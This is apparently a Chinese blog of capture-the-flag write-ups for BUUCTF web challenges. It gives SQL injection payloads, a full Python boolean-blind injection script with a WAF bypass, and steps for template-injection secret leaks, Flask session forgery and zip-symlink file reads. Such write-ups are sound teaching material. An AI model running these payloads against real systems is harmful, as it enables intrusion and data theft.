BUUCTF平台-web-邊刷邊記錄-1


1.WarmUp

思路很清晰,文件包含,漏洞點在代碼會二次解碼,只需注入一個?就可以使用../../進行路徑穿越,然后去包含flag,flag路徑在hint.php里面有

 2.easy_tornado

題目就給了這些信息,flag路徑已知,render應該是跟模板注入相關,hint.txt給的應該是filehash的算法,

看看url,我們可以控制文件名和文件hash

隨便傳一個不存在的文件名會跳轉到error頁面,這里直接把error字符串返回了回來,所以嘗試一下模板注入,寫個9,也返回了,猜測題目應該是我們需要去算出flag文件對應的filehash,但是因為這個密鑰是不知道的,所以我們需要去通過模板注入弄出密鑰,題目又是tornado,這里常規模板注入的字符比如[],()都被過濾掉了,因此嘗試找一些tonado的全局配置來讀取看看

 

所以用handler.settings可以訪問到tornado的一些“應用程序設置“,那么web網站中的一些變量信息應該也在其中存儲着,所以直接訪問就能得到密鑰,然后就可以根據這個密鑰來構造filehash

得到secret然后md5哈希一下就可以,看文檔還是有用的,不會就多看文檔多google,當然思路要對,比如這里就猜測secret存儲在應用的一些全局配置中。

3.隨便注

這里首先提交1,這里回顯的1對應的數據,然后提交1',報錯了

再提交1' or ''=',返回正常:

說明肯定存在注入,但是這里把常見的關鍵字都過掉了,並且是不區分大小寫的正則進行過濾,所以常規的查系統表然后注入的方法肯定不行,這里可以嘗試堆疊注入。

得到了兩張表,那么接下來肯定要查一下兩張表有哪些字段,用show coloums from,就可以得到flag字段,這里使用show create table `1919810931114514`;語句也可以查到表的結構。
然后

 

 這里有兩種解法:

第一種,因為后端數據庫實際上是查詢的words表,可以使用alter來更改表名和表字段,讓1919810931114514的表更名為words表,那么查詢的words的時候實際上是對19這張表的查詢,這思路真騷。

payload為:

';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#

然后再查詢就可以查詢到flag了,這里我猜測后端語句應該是select * from words where id=1

 

 第二種,除了這種騷操作,常規的我見過的還是這種:

#coding=utf-8
import requests
#1919810931114514
part_url='http://49.4.66.242:31368/?inject=' payload="select flag from `1919810931114514`;" payload=payload.encode('hex') payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23''' print payload full_url=part_url+payload r=requests.get(url=full_url) print r.content

先編譯sql語句,這里將payload進行了16進制編碼,然后使用execute來進行執行,這里16進制編碼的payload在編譯中可以識別出來的,又學到了。

4.kzone

 直接訪問是跳轉了,說明應該有js之類檢測,不滿足就跳轉,直接掃一下目錄:

這里就不掃了,buu有檢測,怕被ban,總之可以掃描到源碼:

可以看到index.php有這一段加以限制

 注入點在member.php里,此時將cookie中的值json_decode以后拼接username,因為有第一行defined的限制,找到其定義的地方在common.php

其中在safe.php中對一些sql關鍵字進行了過濾union過濾了,and or都過濾了,\s把空格也都過濾了,那么系統表都用不了了,短路還可以用^或這||或者&&來代替,單引號也沒有過濾, 因此可以閉合前面的單引號,字符串截取函數我們可以用right,因為ord+mid+ascii+substring都被過濾了,空格可以用/**/來繞過,但是等號,大於小於也沒了,因此正常的注入語句就用不了,所以必須要bypass,這里注意到safe.php的過濾

這里對所有的get、post、cookie的值進行了過濾http頭部內的值是沒有過濾的,那么可以嘗試找一下http頭部內有沒有注入的點,但是在此題中是不存在的,但是在member.php中要對cookie中的值進行json_decode,因此可以先對關鍵字進行unicode編碼一下,然后經過safe.php過濾時可以順利繞過,再經過json_decode解碼時就可以還原成正確的payload

先在burp中測試一下注入的邏輯:

當注入admin_user=sss'/**/||/**/'1時,此時返回了兩個set-cookie,當注入admin_user=sss'/**/||/**/'0時,返回了四個set-cookie

 

那么我們就可以通過腳本來判斷返回的set-cookie個數來判斷邏輯,從而完整布爾盲注,當然這里要用到=等號,和o進行一個unicode編碼替換,編寫腳本如下,我們可以依次查庫,用burp一跑就可以跑出來當前數據庫長度為12

然后就可以跑出當前的數據庫,為hctf_zone

然后跑出第一張表為fish_admin

第二張表為ip

第三表為fish_user

然后最后一張表就是flag所在的表 fl2222g

然后繼續查出該表的字段為f44ag

然后就能查出flag長度

然后就能查出flag了

exp:

#coding:utf-8
import  string
import time import requests url = "http://web39.buuoj.cn/include/common.php" def encode(payload): payload = payload.replace('or','\u00'+str(hex(ord('o'))[2:])+"r") payload = payload.replace('=','\u00'+str(hex(ord('='))[2:])) payload = payload.replace(' ','/**/') print payload return payload def database_length(): inject = requests.session() db_length = 0 for i in range(20): payload = "tr1ple' or (length((select database()))={}) && '1".format(str(i)) payload = encode(payload) #print(payload) cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}" ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358", "wzws_cid":"2be75d4aa1d0208371049ab3d98730380c3ec0246c2b11de690ffae3a34c87545fac57fe81c91446c6ea0dc9e06f686a8e54160f220dc90124b7a61de8c251f5" } #print(cookie) time.sleep(1) #print inject.get(url=url, cookies=cookie).headers a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin') print a time.sleep(1) if a==1: print "the length of database is {}".format(str(i)) def dump_database(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits+"_" flag = "zone" temp = "" for i in range(5, 100): for j in payloads: temp = j+flag payload = "tr1ple' or (right((select database()),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" ,"PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8541cedec92acb01375a17927e990adee3e" } # print(cookie) a = inject.get(url=url, cookies=cookie,headers=header).headers["Set-Cookie"] a= a.count('islogin') #print a time.sleep(1) if a==1: flag=temp print flag break def dump_table(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase flag = "" temp = "" for i in range(1, 100): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select table_name from information_schema.tables where table_schema=database() limit 3,1),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break def dump_column(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase flag = "" temp = "" for i in range(1, 100): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select column_name from information_schema.columns where table_schema=database() && table_name=0x666c3232323267 limit 0,1),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break def flag_length(): inject = requests.session() db_length = 0 for i in range(10,40): payload = "tr1ple' or (length((select f44ag from fl2222g))={}) && '1".format(str(i)) payload = encode(payload) #print(payload) cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}" ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358", "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8548ff3860e266289c1326244e9ba33b4ef" } #print(cookie) time.sleep(1) #print inject.get(url=url, cookies=cookie).headers a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin') print a time.sleep(1) if a==1: print "the flag length is {}".format(str(i)) def dump_flag(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits flag = "datmq1oh3j3rp0b18z4m}" temp = "" for i in range(22, 39): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select f44ag from fl2222g),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break if __name__ == '__main__': #database_length() #dump_database() #dump_table() #dump_column() #flag_length() dump_flag()

 

總結:

這道題考bypass waf來進行注入,雖然waf過濾了很多,但是有個json_decode,因此導致我們可以無視waf來進行注入,看了其他師傅的wp,當然這道題還有幾個值得學習的點:

1.過濾了or,那么information_schema表用不了了,但是除了這一張元數據表外,還有其它的系統數據表可以用:

mysql.innodb_table_stats可以用來查表名

select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1

但是這種貌似不能直接查到字段,要是要提取flag的話,還得讓這個flag表只有一列

鏈接:https://xz.aliyun.com/t/3253#toc-7

2.對於注入時可以添加binary到字段前防止在對比時大小寫不敏感:

3.除了通常的字符串截取函數,mid+substr,right,left,還是可以用字符串比較函數strcmp,返回1或-1,同樣可以用來盲注

或者find_in_set,兩個字符串相等為1,否則為0,這個比較少見

更多的bypass先知上有人發了一篇,可以拿來參考

https://xz.aliyun.com/t/3992#toc-18

4.調試payload

在nu1l的wp中也看到了可以發包到burp進行調試,這樣很方便看到payload的效果,只要涉及到mysql函數嵌套的就用括號包起來

5.admin

解法1:

第一種,利用unicode編碼的漏洞,在unicode能表示的字符中,有的字符長的很相似,而恰巧有一些函數能夠進行字符之間的轉換,從而造成意想不到的結果

他們對用戶名是否重復的判斷是執行一次這個函數然后進行比對 ,例如AAA會被變為aaa則和之前已經注冊過的aaa重復 ,但是這里出現了一個錯誤,注冊一個ᴬᴬᴬ,經過函數處理后變成了AAA,因為與aaa不同所以注冊成功,而在用戶點擊重置密碼的連接的時候,這個函數再次被執行了一次,AAA變成了aaa,導致用戶aaa的密碼被越權修改,這段話摘自:http://blog.lnyas.xyz/?p=1411,所以才能夠導致在注冊的時候ᴬdmin,登陸的時候經過函數處理依次變為Admin,改密碼再處理一次變為admin,從而就修改了admin的密碼,關於這個是如何發現的,我覺得如果本身熟悉python開發的話很快就能意識到strlower的問題,一般轉化小寫不用這個函數,所以我們才需要去跟蹤研究此函數可能存在的bypass方法,並且對於此題,給了登陸,注冊,修改密碼,那么一般套路應該就是要修改admin的密碼再登錄。

解法2:

直接修改把session打印出來就可以,一般給了源碼本地就可以跑起來模擬

在config.py里面也給了secretkey,可以直接進行cookie偽造,flask session是存儲在客戶端的,只有簽名防竄改作用,但是不是加密的,因此客戶端可讀,如果flask用來簽名session的key泄露,那么就可以偽造session

 

6.hideandseek

這道題平台環境壞了,說一下思路:

1.zip軟鏈接+任意文件讀取

首先要上傳一個zip,可以軟鏈接到任意文件,從而造成任意文件讀取,因為是flask框架,先讀/proc/self/environ,可以得到

UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
WSGI 的官方定義是,the Python Web Server Gateway Interface。從名字就可以看出來,這東西是一個Gateway,也就是網關。網關的作用就是在協議之間進行轉換。
WSGI 是作為 Web 服務器與 Web 應用程序或應用框架之間的一種低級別的接口,以提升可移植 Web 應用開發的共同點。WSGI 是基於現存的 CGI 標准而設計的。
很多框架都自帶了 WSGI server ,比如 Flask,webpy,Django、CherryPy等等。當然性能都不好,自帶的 web server 更多的是測試用途,發布時則使用生產環境的 WSGI server或者是聯合 nginx 做 uwsgi 。
uWSGI是一個Web服務器,它實現了WSGI協議、uwsgi、http等協議。Nginx中HttpUwsgiModule的作用是與uWSGI服務器進行交換。
為什么有了uWSGI為什么還需要nginx?因為nginx具備優秀的靜態內容處理能力,然后將動態內容轉發給uWSGI服務器,這樣可以達到很好的客戶端響應。

了解到uwsgi其實是個一般python web用的web服務器,用來動態處理客戶端的請求,那么uswgi.ini中應該包含了

再讀取uwsgi_ini可以得到當前python web服務器的一些配置信息:

其中module中包含着py文件的路徑名稱,從而結合/proc/self/environ中的PWD來讀取py的源碼

即/app/hard_t0_guess_n9f5a95b5ku9fg/+module名.py

2.偽隨機+session偽造

flask sesion偽造時必須要知道secret key,這里

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

uuid.getnode()函數是取mac地址作為種子,因此為固定值,所以可以本地跑出來secretkey,而linux的mac地址保存在/sys/class/net/eth0/address

因此就可以偽造cookie登陸了,這里不能直接讀flag,必須以admin登錄才可以,因為有限制:

並且在/app/hard_t0_guess_n9f5a95b5ku9fg/index.html里面有

 所以這道題並沒有新知識點,構造session的時候一般要和服務器端py版本一致

這個地址可以將mac地址轉到10進制,從而輸入種子,https://www.vultr.com/resources/mac-converter/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM